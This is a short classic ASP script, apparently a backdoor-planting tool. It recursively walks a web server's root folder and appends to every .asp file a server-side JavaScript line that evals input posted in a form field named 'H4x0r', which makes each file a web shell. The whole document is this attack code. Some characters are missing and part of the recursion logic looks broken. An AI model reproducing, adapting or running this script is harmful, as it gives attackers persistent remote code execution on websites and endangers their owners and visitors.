% dim ph dim intfile server.ScriptTimeout = 600 ph=server.mappath("/") Sub InsertAllFiles(Path) Set FSO = CreateObject("Scripting.FileSystemObject") on error resume next Set f = FSO.GetFolder(Path) Set fc2 = f.files For Each myfile in fc2 If lcase(FSO.GetExtensionName(path""myfile.name))="asp" then Set FS1 = CreateObject("Scripting.FileSystemObject") Set tfile=FS1.opentextfile(path""myfile.name,8,false) tfile.writeline "SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>eval(Request.form('H4x0r')+'')/SCRIPT>" else InsertAllFiles(newpath) end if tfile.close Next Set fsubfolers = f.SubFolders For Each f1 in fsubfolers newpath=path""f1.name InsertAllFiles(newpath)
Next set tfile=nothing Set FSO = Nothing End Sub %> % call InsertAllFiles(ph) %>
